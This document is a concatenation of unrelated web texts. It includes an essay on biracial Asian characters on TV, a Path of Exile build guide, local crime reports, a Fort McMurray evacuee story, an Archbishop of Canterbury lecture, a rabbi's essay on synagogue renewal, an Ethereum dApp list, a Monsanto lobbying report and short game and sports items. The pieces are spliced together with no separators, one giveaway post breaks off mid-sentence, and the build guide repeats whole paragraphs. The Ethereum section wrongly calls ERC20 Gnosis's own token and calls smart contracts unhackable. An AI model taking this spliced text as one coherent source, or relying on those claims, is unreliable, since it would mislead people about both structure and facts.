Coming back to the issue of Asian moms, while we see these strong biracial Asian female protagonists who play diverse roles (cop, spy, forensic artist and mechanical engineer) and get a taste of the diversity that we see in real life, each show still falls short of what could be an even better, more accurate depiction of biracial families. Showing only one group, White dads, while excluding or ignoring the Asian moms of biracial families only reinforces a separation of the two groups. This leads to an opposing depiction of biracial families that lessens the impact of having a biracial character. While not every show with a biracial character has to depict the whole family, not every show should be absent of them too. These families do not always have to be portrayed as happily together because that is not always the case in real life. But shows that make an effort to show a biracial character should try to make an effort to show the biracial family that goes with the character and the experiences that surround them. Otherwise it is not a true depiction of biracial life for half Asians, but a very one-sided one where the image of biracial is shown but not discussed. For biracial families, it is time to be seen and heard no matter what backlash is thrown their way.Pros
Somewhat set price, don't need to risk using currency on rares
Reflect is not a big issue, aswell as doing high damage
Confusing people in PvP
Cons
Can get expensive, fast
Achieving 5 to 6 Links can get expensive
Cannot do some map mods (No Life / Mana regen & 50% Life / Mana Regen Rate)
Elemental Weakness can hurt
This build is not cheap, but it can work without having full uniques!
The Core items you will need to make this build work are...
Pyre
For survivability against reflect (as you will be running Artic Armour).
Three Dragons
Will allow you to Shock instead of igniting enemies with Freezing Pulse as the damage is converted to Fire.
Also allows you to Freeze when having Added Lightning Damage support gem linked to it.
New Set
Recently found a Kaom's Roots.
Recently found a Kaom's Roots.
Old Set
Offense Screenshot
0 Power Charges
7 Power Charges
Defense Screenshot
Old Full Uniques Set
Reasoning
Pledge of Hands
Essentially a 7 Link item, although I only have it 5 Linked at the moment.
Benefictial with Cloak of Defiance as it gives 100% Increase to Maximum Mana.
Cloak of Defiance
Major boost to mana and mana regeneration aswell as having Mind of Matter for damage mitigation.
Maligaro's Virtuosity
Major boost to critical strike and multiplier.
Also gives you the bonus Dexterity you need to run High level GMP & Artic Armour.
Rainbowstride
Gives nice resistance, decent move speed and boost to mana from both flat mana bonus aswell as the conversion from Eldritch Battery, which is much needed when running Mind over Matter (Cloak of Defiance).
Doryani's Invitation
Fire Variant
Damage Boost is nice, some armour (though very negligable as it will only give you 3% or so after lvl 80). Mostly needed for the +1% Fire Leech and dual resist.
Eye of Chayula
Since you will have under 3k Life anyways you will most likely get stun locked. By using this you can put those worries to rest (don't nesecarily need a "corrupted" one with +1% Fire Leech but it helps).
Dream Fragment
Survivabilty item, aswell as giving mana regeneration and freeze immunity (which is nice).
As you can tell, I don't use Pyre to and Rainbowstrides to their full advantage, though Rainbowstrides can serve very well with Saffell's Frame + Stone of Lazwhar. Main advantage of using those boots is that they are relatively cheaper than a high end mirror worthy boot.
Essentially a 7 Link item, although I only have it 5 Linked at the moment.Benefictial with Cloak of Defiance as it gives 100% Increase to Maximum Mana.Major boost to mana and mana regeneration aswell as having Mind of Matter for damage mitigation.Major boost to critical strike and multiplier.Also gives you the bonus Dexterity you need to run High level GMP & Artic Armour.Gives nice resistance, decent move speed and boost to mana from both flat mana bonus aswell as the conversion from Eldritch Battery, which is much needed when running Mind over Matter (Cloak of Defiance).Damage Boost is nice, some armour (though very negligable as it will only give you 3% or so after lvl 80). Mostly needed for the +1% Fire Leech and dual resist.Since you will have under 3k Life anyways you will most likely get stun locked. By using this you can put those worries to rest (don't nesecarily need a "corrupted" one with +1% Fire Leech but it helps).Survivabilty item, aswell as giving mana regeneration and freeze immunity (which is nice).As you can tell, I don't use Pyre to and Rainbowstrides to their full advantage, though Rainbowstrides can serve very well with Saffell's Frame + Stone of Lazwhar. Main advantage of using those boots is that they are relatively cheaper than a high end mirror worthy boot.
Gear to Consider
Reasoning
Doryani's Catalyst
Solid item, gives crit, high elemental damage, some cast speed and +1% elemental leech.
Voll's Protector
Great item, I used it 4 linked untill I got a 5 Link Cloak of Defiance as it essentially was a 5 link item. If you Intend on using this instead of Cloak of Defiance with Pledge of Hands, you get an 8 link (if you 6 Link Pledge of Hands).
Saffel's Frame
Situational Item, I tend to use this with Stone of Lazwhar, Rainbowstride and Tempest Shield when against boss fights like Dominus to face tank his Lightning Stream.
Stone of Lazwhar
Situation Item, works well with shield (rather than staff), the bonus mana and cast speed is also nice.
Solid item, gives crit, high elemental damage, some cast speed and +1% elemental leech.Great item, I used it 4 linked untill I got a 5 Link Cloak of Defiance as it essentially was a 5 link item. If you Intend on using this instead of Cloak of Defiance with Pledge of Hands, you get an 8 link (if you 6 Link Pledge of Hands).Situational Item, I tend to use this with Stone of Lazwhar, Rainbowstride and Tempest Shield when against boss fights like Dominus to face tank his Lightning Stream.Situation Item, works well with shield (rather than staff), the bonus mana and cast speed is also nice.
Passive Tree
BANDITS
+40 maximum life
+Cast speed
+1 Power Charge
KEY PASSIVES
Eldritch Battery
+3 Power Charges & 4% Spell Dmg per Power charge
163% Increased Maximum Life
140% Increased Mana Regenation Rate
Current Tree (lvl 91)
http://www.pathofexile.com/passive-skill-tree/AAAAAgMABAcEswVCBx4HYwj0DkgPxBGWFE0Wbxa_GjgabB8CJKomlSlPLJwtHy9vNsU26TpYO3xBlkSrRXxFnUbXSVFMs1AwUEJTUlVLVa5Vxl3GXfJfKmBtYeJjQ2pDaxdwUnC7cNV-WX_GghCCHoKbgziD24V9idOMNo5kj6aP-pBVlSCVLpeXmuCdgJ2uogCiLqKjpwinhK6ztDi1BLb6uJO4yrmTvOrAVMHzwwnLvdD12CTZE9rd2wvbXt3z34rfsONq5CLlGevk6-7r9ewY7DjwH_DV8h33pvv1
Old Passives 2
KEY PASSIVES
Eldritch Battery
+3 Power Charges & 4% Spell Dmg per Power charge
163% Increased Maximum Life
140% Increased Mana Regenation Rate
Current Tree (lvl 90)
http://www.pathofexile.com/passive-skill-tree/AAAAAgMAAnEEBwSzBUIHHgj0DkgPxBGWFE0Wbxa_GjgabB8CJKomlSlPLJwtHy9vNsU26TpYO3xBlkSrRXxFnUbXSVFMs1AwUEJTUlVLVa5Vxl3GXfJfKmBtYeJjQ2pDaxdwUnC7cNV-WX_GghCCHoKbgziD24V9idOMNo5kj6aP-pBVlSCVLpeXmuCdgJ2uogCiLqKjpwinhK6ztDi1BLb6uJO4yrmTvOrAVMHzwwnQ9dgk2RPa3dsL217d89-K37DjauQi5Rnr5Ovu6_XsGOw48B_w1fId96b79Q==
Old Passives 1
KEY PASSIVES
Eldritch Battery
+3 Power Charges & 4% Spell Dmg per Power charge
140% Increased Maximum Life
100% Increased Mana Regenation Rate
Current Tree (lvl 89)
http://www.pathofexile.com/passive-skill-tree/AAAAAgMAAnEEBwSzBUIHHg5ID8QQWBGWFE0V5xZvFr8W8xo4GmwfAiSqJjwmlSlPLJwtHy9vL502xTbpO3xBlkSrRXxG10lRTLNQMFBCVUtVrlXGXcZd8l8qYG1h4mNDakNrF3BScLtw1XOzdhF-WX_GghCCHoKbgziD24V9h2WJ04w2jmSPpo_6kFWVIJUul5edgJ2uogCiLqKjpwinhK6ztQS2-rjKuZO86sBUwfPDCdD12CTZE9rd2wvbXt3z34rfsONq5CLr5Ov17BjsOPAf8Gvw1fId96Y=
Key Gems
Main DPS Skill
4 Link (with Voll's Protector)
Freezing Pulse + Greater Multiple Projectiles + Spell Echo + Added Lightning
5 Link (with Voll's Protector)
Freezing Pulse + Greater Multiple Projectiles + Spell Echo + Added Lightning + Faster Casting
4 Link (without Voll's Protector)
Freezing Pulse + Greater Multiple Projectiles + Power Charge on Critical + Added Lightning
5 Link (without Voll's Protector
Freezing Pulse + Greater Multiple Projectiles + Power Charge on Critical + Added Lightning + Spell Echo
4 Link Pledge of Hands (with Voll's)
Freezing Pulse + Greater Multiple Projectiles + Added Lightning + Faster Casting
5 Link Pledge of Hands (with Voll's)
Freezing Pulse + Greater Multiple Projectiles + Added Lightning + Faster Casting + Increased Critical Damage
4 Link Pledge of Hands (No Voll's)
Freezing Pulse + Greater Multiple Projectiles + Power Charge on Critical + Added Lightning
5 Link Pledge of Hands (No Voll's)
Freezing Pulse + Greater Multiple Projectiles + Power Charge on Critical + Added Lightning + Faster Casting
Escape Skill
3 Link atleast
Lightning Warp + Reduced Duration + Faster Casting
Can add "Culling Strike" if you really want to, but not nessecary.
Aura's
Discipline
Energy Shield to Mana conversion from Eldritch Battery.
Clarity
Much needed mana regeneration to sustain Mind over Matter or Artic Armour.
Purity of Elements
With my current gear setup this is what's keeping me resist capped.
Herald of Ice
If you don't intend on using full uniques, and are resist capped this gives a nice boost to damage.
Artic Armour
Technically not an aura, but it is a self cast buff that drains mana and provides both fire and physical damage mitigation. The fire mitigation will help against reflect mobs as your Freezing Pulse does fire damage. The physical mitigation helps as you only have 3% physical damage reduction.
Curses
Assassin's Mark
Makes you crit more and harder.
Enfeeble
Good for end-game especially against heavy hitting mobs.
3 Link atleast
Curse + Faster Casting + Increased AoE
If you can find a slot for 4 Link, Increased Duration is also nice (though you don't really need it as you kill most mobs in less than 2 seconds).
Other Gems
Comibination of these 3 Linked will provide additional physical mitigation.
Cast When Damage Taken lvl 8
Immortal Call lvl 8
Molten Shell lvl 11
You can add Increased Duration or Enduring Cry in addition if you want but, it's hard to get 4 Reds on Int and Dex items.
Freezing Pulse + Greater Multiple Projectiles + Spell Echo + Added LightningFreezing Pulse + Greater Multiple Projectiles + Spell Echo + Added Lightning + Faster CastingFreezing Pulse + Greater Multiple Projectiles + Power Charge on Critical + Added LightningFreezing Pulse + Greater Multiple Projectiles + Power Charge on Critical + Added Lightning + Spell EchoFreezing Pulse + Greater Multiple Projectiles + Added Lightning + Faster CastingFreezing Pulse + Greater Multiple Projectiles + Added Lightning + Faster Casting + Increased Critical DamageFreezing Pulse + Greater Multiple Projectiles + Power Charge on Critical + Added LightningFreezing Pulse + Greater Multiple Projectiles + Power Charge on Critical + Added Lightning + Faster CastingLightning Warp + Reduced Duration + Faster CastingCan add "Culling Strike" if you really want to, but not nessecary.Energy Shield to Mana conversion from Eldritch Battery.Much needed mana regeneration to sustain Mind over Matter or Artic Armour.With my current gear setup this is what's keeping me resist capped.If you don't intend on using full uniques, and are resist capped this gives a nice boost to damage.Technically not an aura, but it is a self cast buff that drains mana and provides both fire and physical damage mitigation. The fire mitigation will help against reflect mobs as your Freezing Pulse does fire damage. The physical mitigation helps as you only have 3% physical damage reduction.Makes you crit more and harder.Good for end-game especially against heavy hitting mobs.Curse + Faster Casting + Increased AoEIf you can find a slot for 4 Link, Increased Duration is also nice (though you don't really need it as you kill most mobs in less than 2 seconds).Comibination of these 3 Linked will provide additional physical mitigation.You can add Increased Duration or Enduring Cry in addition if you want but, it's hard to get 4 Reds on Int and Dex items.
I will make a levelling guide in the near future, aswell as updating this thread. This build is not cheap, but it can work without having full uniques!The Core items you will need to make this build work are...For survivability against reflect (as you will be running Artic Armour).Will allow you to Shock instead of igniting enemies with Freezing Pulse as the damage is converted to Fire.Also allows you to Freeze when having Added Lightning Damage support gem linked to it.I will make a levelling guide in the near future, aswell as updating this thread. Last edited by Razokur on Sep 18, 2014, 9:45:59 AM× Man, Covered In Urine, Allegedly Breaks Into Lincoln Home
A man allegedly broke into a home in Lincoln while covered in urine.
Ethan Swafford, 24, was arrested on suspicion of burglary, according to a probable cause report from the Washington County Sheriff’s Office.
An officer was dispatched to a home in the 14000 block of Bethel Blacktop Rd in Lincoln in reference to a burglary in progress, according to the report.
The caller that made the report said they found a male without a shirt in the living room of their home, staring at the fireplace, according to the report.
When the officer arrived, he entered the home and saw the living room ransacked. A white man was laying on the ground without a shirt on. When the officer attempted to roll the man over and handcuff him, he tensed up clinching his fist, according to the report.
The officer struggled to cuff the man but eventually succeeded. The man was highly intoxicated and covered in urine, according to the report.
He was placed in a police car and continued disorderly behavior by head-butting the officer’s cage several times, according to the report.
When the officer observed the damage of the home, he reportedly found multiple pieces of expensive furniture broken, along with pieces of his fireplace. The property damage was over $1,000, according to the report.
During transport to the Washington County Detention Center, the suspect allegedly continued belligerent behavior. He kicked the officer’s seat and uttered a vulgarity, according to the report.
Swafford faces charges of Residential Burglary, Terroristic Threatening, Criminal Mischief, Public Intoxication, Resisting Arrest and Disorderly Conduct.Welcome to the Sunday Giveaway, the place where we giveaway a new Android phone or tablet each and every Sunday.
A big congratulations to last week’s winner of the Nexus 6P giveaway: Sumith J. (India).
This week we have a special halloween giveaway sponsored by DU Battery Saver where we are giving away 3 Nexus 6P smartphones.
Wishing you could get a bit more life out of your phone in between charges? Du battery Saver is a free app designed to help you make the most out of your phone’s battery. The app not only can detect battery-hungry apps that are running in the background, and give you the tools to close them, it also has a variety of different power management modes baked in. Using Du’s “Optimize” feature, the app will even scan your phone and will present you with further options on how you could potentially enhance your battery life. You can learn more about Du Battery Saver, as well as the pro version with extra features, here.
How to enter the giveaway:
I think we’ve all had a time where |
Knutsford Friday night, where they’re staying with her husband’s mother.
“We’re trying to make the boys' life as normal as possible,” she says. “We’re trying to just pretend we’re living here. It’s kind of weird to explain the feeling when you’re displaced.”
She says the uncertainty of knowing when Fort McMurray will open for residents again makes it hard to plan the future. For now they’ve registered her two older sons in school, one at South Sahali Elementary and the other at Summit Elementary, and at this point plan on staying until at least the end of the school year.
Her husband's employer, a company which serviced the oil sands, is being supportive but everything is uncertain, she says. She was a realtor in Fort McMurray, and is considering looking for work here in the same field.
With a family of five and a dog it’s a lot to add to her mother-in-law’s house, Carroll says, so they’re looking for their own housing, but the uncertain timeline and pet make it difficult.
Elly Grabner, who helped organize the Kamloops Pit Stop for Fort McMurray Evacuees Facebook group says she’s spoken to other evacuees who are having similar issues. Through the pit stop group she’s spoken with roughly 25 individuals who are looking at Kamloops as their home for now, at least until they know more about what’s left in Fort McMurray.
“Most of the people that I’ve spoken to, they really want to get back there and back to their life,” she says. “They’re here temporarily, and came because they have roots in Kamloops.”
Grabner says she’s heard of similar issues as the Carrolls, with landlords typically wanting longer term rentals. She says furniture is also an issue because most evacuees have homes in Fort McMurray which did survive the fire and don’t want to buy a home’s worth of supplies for a temporary house.
Carroll says they believe their stuff survived the wildfire, though she’s not sure. From the images she’s seen the fire got to the treehouse in her family’s back yard in the Thickwood neighbourhood, but to her best knowledge, the house remains standing.
“We don’t want to pack a lot of things, our stuff is still there,” she says. “We’re trying to be proactive, stay positive.”
To contact a reporter for this story, email Brendan Kergin or call 250-819-6089 or email the editor. You can also submit photos, videos or news tips to the newsroom and be entered to win a monthly prize draw.
We welcome your comments and opinions on our stories but play nice. We won't censor or delete comments unless they contain off-topic statements or links, unnecessary vulgarity, false facts, spam or obviously fake profiles. If you have any concerns about what you see in comments, email the editor in the link above.HOUSTON - An innocent driver was hurt Tuesday after a police chase ended in a crash.
It all started with a carjacking at gunpoint near Southmore Avenue and Wafer Street in Pasadena.
Police managed to track down the stolen truck near I-10 and Freeport, but the thieves took off.
The chase ended when the men crashed into a car on Gainesville and Nancy in northeast Harris County.
The crash left one of the suspects and the driver of the other vehicle seriously injured. The second thief tried to run away but was quickly arrested.
The injured suspect and innocent driver were taken to the hospital, according to Pasadena Police.
Police later identified the suspects as Jonathan Zapata Castaneda, 22, and Christian Velazquez, 20.
Velazquez is charged with felony evading and unauthorized use of a vehicle, while Castaneda faces aggravated robbery charges.
Both men are being held at the Harris County Jail with no bail.
Copyright 2016 by KPRC Click2Houston - All rights reserved.The Archbishop of Canterbury, Dr Rowan Williams, has argued that religion is fundamental to maintaining social cohesion.In a lecture delivered on Thursday at the Building Bridges Conference in Singapore, Dr Williams refuted the popular conception that a society in which different faiths exist side by side must necessarily be a divided one."Does disagreement about truth necessarily mean the violent disruption of social co-operation?" asked Dr Williams."It does not, and [...] on the contrary, a robust view of disagreement and debate between religious communities may play a major role in securing certain kinds of social unity or cohesion."The Archbishop of Canterbury is in Singapore for the 6th Building Bridges Christian Muslim Seminar in Singapore, which opened on Monday. The seminar has brought together more than 30 distinguished Christian and Muslim scholars to examine a number of issues of common interest including this year's theme 'Humanity in Context: Christian and Muslim perspectives on being human'.The scholars will also discuss the different approaches of their respective faiths towards environmental, gender and diversity issues.In his address on Thursday, the Archbishop went on to acknowledge that violence had featured in the history of all religions, Christianity as well as Islam."There is no religious tradition whose history is exempt from such temptation and such failure," stated Dr Williams.He asserted, however, that religious diversity and social cohesion could not only co-exist, but also help strengthen social harmony, so long as governments were willing to listen to the views of faith communities.He also challenged the assumption that secular beliefs should automatically trump religious ones."The notion that social unity can be secured by a policy of marginalising or ignoring communities of faith because of their irreducible diversity rests on several errors and fallacies, and its most serious and damaging effect is to give credibility to the idea of a neutral and/or self-evident set of secular principles which have authority to override the particular convictions of religious groups," he said."This amounts to the requirement that religious believers leave their most strongly held and distinctive principles at the door when they engage in public argument: this is not a good recipe for lasting social unity."[The following article is offered as a partnership between eJP and the Clergy Leadership Incubator program (CLI). CLI is a two-year program to support and encourage congregational rabbis and rabbinic entrepreneurs in the areas of innovative thinking, change management and institutional transformation. CLI is directed by Rabbi Sid Schwarz and is fiscally sponsored by Clal. Each month CLI offers a Synagogue Innovation Blog. Past columns can be found at: www.cliforum.org/blog/.]
By Rabbi Michael Knopf
Much is being written these days about the attempt to rejuvenate struggling North American synagogues. I want to add my voice to the conversation by offering a transformative model that, I am sure, no one considered. That’s because not only does the model come from outside the religious world, it is also tucked away in a place no one would think to look: in a small South Dakota town called Wall.
Wall, South Dakota is home to Wall Drug, a unique store that features everything from buffalo burgers to nickel coffee, the world’s largest jackalope, a Singing Cowboy Orchestra and a wall of news clippings about people standing at the wall of clippings reading about people standing at the wall. But more than this, Wall Drug has an extraordinary story that has much to teach.
It begins in the Great Depression. Unable to support his family as a farmer, 28 year-old Ted Hustead, took his wife and 4-year-old son, loaded a truck, and moved to Wall. At the time, Wall’s population was about 350 people. With the $3,000 he had to his name, Ted purchased a small pharmacy. To his dismay, however, business was terrible. There simply weren’t enough sick folks in Wall at any given time to support a pharmacy.
The Husteads were on the verge of bankruptcy when Ted’s wife, Dorothy, came up with a desperate scheme. One afternoon, she tried to take a nap, but the noise of passing traffic on the nearby highway made it impossible for her to sleep. And then it hit her: With all those people on the road, there must be some way to draw them into the store. “We got plenty of water and ice,” she told Ted, “so why don’t we put up a few signs on the highway offering free ice water?”
It was a long shot, but Ted agreed it was worth a try. He put up some billboards along what is now Interstate 90, and barely minutes later, thirsty travelers began to flock to the store. More and more customers heard and followed and business boomed.
Energized by the initial success, the Husteads kept expanding the store. In time, they were spending $300,000 a year on billboard advertising. Eventually, Wall Drug signs could be seen in all 50 states, on London city buses, and even in train stations in Kenya. With the help of this aggressive campaign, the Husteads made a fortune. Today, Wall Drug takes in more than $10 million a year and draws some two million annual visitors.
The Husteads’ success boils down to one strategy: meeting people where they are. How did Wall Drug do this? First, the Husteads considered what real people actually needed. In the days before cars had air conditioning and before the advent of the interstate highway system, travelers traversing the old highways needed places to cool off and refresh. Dorothy Hustead intuited this need and recognized Wall Drug had the capacity to meet it.
Second, Wall Drug cared about each and every customer as a person. They didn’t simply offer ice water to their customers. Rather, they offered “free ice water.” By making the first encounter with a customer be about caring for his or her needs without a quid pro quo, Wall Drug showed that it cared more about each person than making a sale.
Third, the offer of free ice water made the store accessible. It signified to the customer that the shopping experience would be free of judgment or pressure and made it as easy as possible for them to decide to walk through the doors.
And fourth, they brought their message directly to the people, literally meeting people where they were. The Husteads knew that they couldn’t simply wait for people to come to them. They had to go out and bring people in. And the strategy paid off.
Meeting people where they are requires four core attributes: dynamism, warmth, caring, and passion. Dynamism is about continually evaluating people’s needs and doing whatever the moment demands to remain relevant to those needs. Warmth is about providing ways in and breaking down the barriers that restrict access. Caring is about making sure each individual knows that he or she matters, that a relationship is the highest value. And passion is about energetically reaching out to those who are not yet part of the experience.
God, according to Jewish tradition, exemplifies those same values. Take the story told in Genesis 21, for example. God hears Ishmael’s cries, assesses his needs, and determines to take direct action. God makes it as easy as possible for Hagar and Ishmael’s needs to be met, shows care for Hagar and Ishmael by addressing their needs without asking for anything in return and intuits their needs and proactively offers help before they even request assistance.
One of the imperatives of the Jewish tradition is that we are called to act like God, to act in accordance with the highest imaginable ideals of compassion and justice. So, what would North American congregations need to do in order to act more like God and meet people where they are?
1. Focus on what real people actually need
While it is true that we live in a time of cynicism and individualism, people today still seek spiritual nourishment, meaning, purpose, and community as much as ever. Consider, for a moment, the fact that the same Jews who don’t normally come to shul flock to other forms of spiritual practice. People are hungry for ways to impact their world. And signs abound that folks are rediscovering the profound physical, emotional, material, and spiritual benefits of real, in-person community and are becoming hungry once again to forge a network of meaningful relationships for themselves and their families.
Of course, Judaism cherishes and offers many pathways to spirituality, purpose, and community. So why is it that only 30% of American Jews belong to synagogues? Because synagogues rarely purport to be soulful, enriching, relational centers. Synagogues tend to view their mission as getting people to be more Jewish (by which they typically mean observing more Jewish ritual practices, acquiring more Judaic knowledge) and investing more in community. Those may be worthy goals, but pursuing them is a losing proposition. The vast majority of Jews already feel sufficiently Jewish without extra ritual observance, learning, or communal responsibility.
But what if synagogues flipped the equation? What if they viewed Judaism as a tool for human flourishing, as my teacher, Rabbi Irwin Kula, puts it? What if they treated Judaism a means, rather than an end in itself? What if synagogues’ mission shifted from getting people to be more Jewish to helping them personally thrive and build a better world, with Jewish life and community becoming the method we employed to fulfill that purpose? What if synagogues approached Judaism as a time-honored way of addressing people’s real human needs? What might that look like?
This dynamic approach would require synagogues to scrutinize the spiritual impact of their worship, developing prayer experiences that focus on inspiring feelings of joy, transcendence, and connection. It would call for synagogues to shift emphasis in their educational approach, from teaching about Judaism to utilizing Jewish wisdom as a tool to encourage personal growth and to inspire concrete action in the world.
2. Remove barriers to access
The typical synagogue has many such barriers. While Judaism is a thoughtful and spiritual tradition, it can also feel prohibitively technical and foreign. Even people who have had a lifetime of Jewish involvement can sometimes find Judaism perplexing or even intimidating. This is all the more true for people who are on the outside of the Jewish community looking in. They feel that they will be completely out of their depth, that they will be pressured into a lifestyle that is totally foreign to them, that they will be judged for every little thing: for what they wear or don’t wear; what they say or don’t say; what they practice or don’t practice; what they attend or don’t attend; for what they know or don’t know. Sometimes their fears are imagined, but more times than not, those concerns turn out to be all too real once they walk through synagogue doors.
Synagogues need to remove the hurdles that too often bar entry, especially the implicit preconditions and the judgment of those who are the stewards of the institution. If synagogues were to offer Jewish spirituality and wisdom in ways that are accessible to all, then people on the margins would be drawn in. There is a Yiddish term for this kind of approach, heymish, meaning “like home.” Heymish evokes friendliness, informality, and a lack of pretense. Creating a more heymish atmosphere can be as simple as keeping the door open during services so that no one feels locked out, creating new services and classes to provide new ways in, or inviting people to come dressed casually to Shabbat services, communicating that no one cares what you’re wearing, as long as you show up.
3. Care for people’s needs without asking for anything in return
The goal of meeting people where they are at is undermined by the traditional dues model of most synagogues. The traditional dues model sends the implicit message that the fullness of Jewish life is reserved only for those who make an up-front financial investment. This dynamic makes many feel that synagogues prioritize finances over relationships.
For synagogues to be successful they need to demonstrate that they care more about people than about money. They need to show through their deeds that every individual matters, regardless of their age, stage, religious background, gender, abilities or disabilities, sexual orientation or financial level. They need to ensure that all are nurtured and connected. They need to create welcoming spaces for those traditionally at the margins of Jewish life, like interfaith families and the LGBTQ community. And they need to take seriously their humanitarian and planetary obligations.
4. Be passionate
Today’s successful synagogues will be those who are driven to reach out to bring new people in. Few synagogues do this well. Most synagogues devote very little attention to those who are not-yet-affiliated. Their programs are designed to engage members only. What tiny marketing budgets most synagogues have are put toward in-house publicity. In other words, to the extent that synagogues advertise at all, they are marketing primarily to the people who are already in the store. How can you grow unless you reach out to the people outside your walls?
For Jews, this should not be novel wisdom. We are taught that outreach was precisely how the first Jewish couple, Abraham and Sarah, built the Jewish people. While we must not push Judaism as “the path to salvation,” synagogues ought to freely share Torah as a worthy path to a life of meaning, purpose and goodness, both to Jews and also to people of other backgrounds whose lives might be enriched through Judaism. This work requires passionate outreach. It requires devoting money and people-power to marketing and advertising. And it requires actively offering our faith to those who are not yet in the fold.
North American Synagogues have set up shop on a highway jammed with thirsty travelers. To succeed, they must have plenty of ice water for the weary, ensure that their water remains free, and see to it that all the drivers on all the roads in all the world know about it.
Rabbi Michael Knopf is rabbi of Temple Beth-El in Richmond, Virginia. He is currently a Clergy Leadership Incubator (CLI) Fellow. Named one of “America’s Most Inspiring Rabbis” by the Jewish Forward, he enjoys movies, traveling, and pizza.Ethereum is Blockchain technology with a difference with its smart contract system that is now driving a burgeoning market of decentralized apps built on the Blockchain.
Ethereum can support decentralized smart contracts, which essentially are protocols that facilitate, verify or enforce the negotiation or performance of a contract in a transparent and unhackable manner. It is accomplished through a Turing-complete (as in Alan Turing) programing language.
Developers are now using this technology to build apps that operate in a decentralized and transparent manner, and although they are still a new form of technology, they are boosting the legitimacy and usefulness of Blockchains beyond currency.
Here are five of the best decentralized apps (dApps) running on the Ethereum network currently:
Etheria
Very much like Minecraft in look and feel, Etheria’s whole world is stored on the Ethereum Blockchain.
Each tile of the virtual world is for sale and costs a full Ether. But, once purchased, the owner can send commands to their piece of land through the smart contract protocol which enacts them.
"Unlike Minecraft, which is centralized and owned by a major company, Etheria cannot be taken down."
It exists on the Blockchain and can not be hacked or altered. Furthermore, a person’s land can never be interfered with or restricted by anyone else.
EtherTweet
As the name suggests, EtherTweet takes its function from Twitter, but this is a dApp that is a totally uncensored Blockchain-based communication platform.
"The interactions on EtherTweet are done through adding to the Blockchain, and just like Twitter, the messages, or Blockchain contributions are public and limited to 160 characters."
Once a message is published, it cannot be altered or removed, except by the publisher, and the accounts on the Blockchain can also receive Ether donations.
Raiden Network
Essentially Raiden Network is a high-speed asset transfer for Ethereum and hopes to operate a bit like the Lightning Network proposed for Bitcoin but it is more complicated.
There is a lot that still needs to be addressed in rolling out this dApp, such as scalability, reliability, and low transaction and the ability to keep transaction fees as close to instant as possible.
"However, if successful, it is a development for Ethereum that could make it one of the go-to’s for seamless fund transfer."
TenX
TenX is another dApp that is hoping to explore Ethereum as a currency more than it currently is. It will do this by allowing users to use Ether at almost any Point of Sale on the planet.
"By partnering with Visa and Mastercard, TenX will sell physical cards that convert Ether to the appropriate fiat currency where it is swiped. Essentially, the design is that Ether linked to the cards can be spent like normal anywhere that accepts Visa and Mastercard."
On top of physical cards, TenX users can operate their Ethereum wallets, through TenX, to purchase items through their official app.
Gnosis
The Gnosis platform looks to create a decentralized prediction market where users vote on anything from the weather to election results.
"It is one of the more popular dApps available on the Ethereum Blockchain, and it also has its own token, ERC20, that operates independently from Ether."
In sum, Ethereum and its smart contracts system are allowing developers to build groundbreaking dApps on its Blockchain network that are far removed from digital currency.WASHINGTON — At Monsanto, sales of genetically modified seeds were steadily rising. But executives at the company’s St. Louis headquarters were privately worried about attacks on the safety of their products.
So Monsanto, the world’s largest seed company, and its industry partners retooled their lobbying and public relations strategy to spotlight a rarefied group of advocates: academics, brought in for the gloss of impartiality and weight of authority that come with a professor’s pedigree.
“Professors/researchers/scientists have a big white hat in this debate and support in their states, from politicians to producers,” Bill Mashek, a vice president at Ketchum, a public relations firm hired by the biotechnology industry, said in an email to a University of Florida professor. “Keep it up!”
And the industry has.
Corporations have poured money into universities to fund research for decades, but now, the debate over bioengineered foods has escalated into a billion-dollar food industry war. Companies like Monsanto are squaring off against major organic firms like Stonyfield Farm, the yogurt company, and both sides have aggressively recruited academic researchers, emails obtained through open records laws show.Doujin JRPG The Sacred Tears TRUE Makes Its English Language Debut On Steam
By Chris Priestman. September 29, 2014. 9:31am
Nyu Media has released the English translation of doujin JRPG The Sacred Tears TRUE on Steam for Windows. This is the game’s English language debut.
The Sacred Tears TRUE blends traditional JRPG design with a simple but apparently deep card battling system, and it also has a redistributable skill points system. You can see how it works in the gameplay video above. The rest of the game plays very much like a typical story-driven JRPG, otherwise.
Notable contributors to the game are the artists and musicians. Artist Takashi Konno (Shichinin no Bukiya) provided the graphics, while the music is composed by Hiroyuki Ojima (Accel World, When They Cry anime) and Shimotsuki Haruka (Atelier Iris, Ace Attorney Orchestral Performance)
The Sacred Tears TRUE follows a pair of neophyte thieves, Seil and his childhood friend Seana, who run a private investigation agency called “Millionaire” in Genoseed City. By night, however, the pair undertake missions for the Thieves Guild, and it’s in this dual life that adventure, comedy, and political intrigue emerges.
Each of the 48 chapters in the game (24 story chapters, 24 side chapters) are presented as standalone episodes that last between 5 to 30 minutes each – they each represent a case or a mission. However, as the game progresses, the world and characters branch out to further explore the main dramatic plot arc.
You can purchase The Sacred Tears TRUE on Steam for $9.99 right now. Check out its website for more information.When UCLA offered Cordell Broadus a scholarship, the Bruins were doing more than trying to attract a promising sophomore wide receiver and defensive back for Diamond Bar (Calif.) High. In essence, the program was staking a claim to territory in the L.A. pop culture spotlight, for one very clear reason: Cordell Broadus is Snoop Dogg's son.
Snoop Dogg's son Cordell Broadus — Facebook
As reported by the ESPNLA and the National Football Post, UCLA coach Jim Mora Jr. recently offered a scholarship to Broadus, despite the fact that the rising sophomore has spent just one year in high school, and played on the Diamond Bar freshman squad during that campaign. At 6-foot-2 and 185 pounds, the younger Broadus -- Snoop Dogg's legal name is Calvin Broadus -- has a body which could develop into that of a legitimate Division I prospect, but no one knows whether he'll continue to grow.
Scroll to continue with content Ad
Of course, Broadus isn't the first son of a rapper to land with the Bruins. Justin Combs, the son of Sean "P-Diddy" Combs, signed to play at UCLA beginning in fall 2012 after an impressive prep career at Iona Prep in suburban New York City. Combs is expected to play at defensive back for the Bruins, so it's even possible (though highly unlikely) that the Bruins could use both the son of P-Diddy and Snoop Dogg in the same defensive backfield come fall 2015.
Regardless of the younger Broadus' potential, it's hard not to feel that Mora Jr. may be offering him a scholarship at least in large part for PR benefits. Snoop Dogg officially claims to be a USC fan, so snapping up a commitment from his son could give the school requisite street cred and offer a certain buzz to a program which sorely needs just such a jolt of excitement.
Story continues
Diamond Bar's head football coach, for one, was quick to indicate that getting in early on Snoop Dogg's progeny might be a very wise move for the Bruins.
"We're expecting him to really lead us the next three years," Diamond Bar's Ryan Maine, who first tweeted the news of Broadus' scholarship offer, told ESPNLA. "Hopefully [our athletes] get bigger, stronger and keep leading this team."
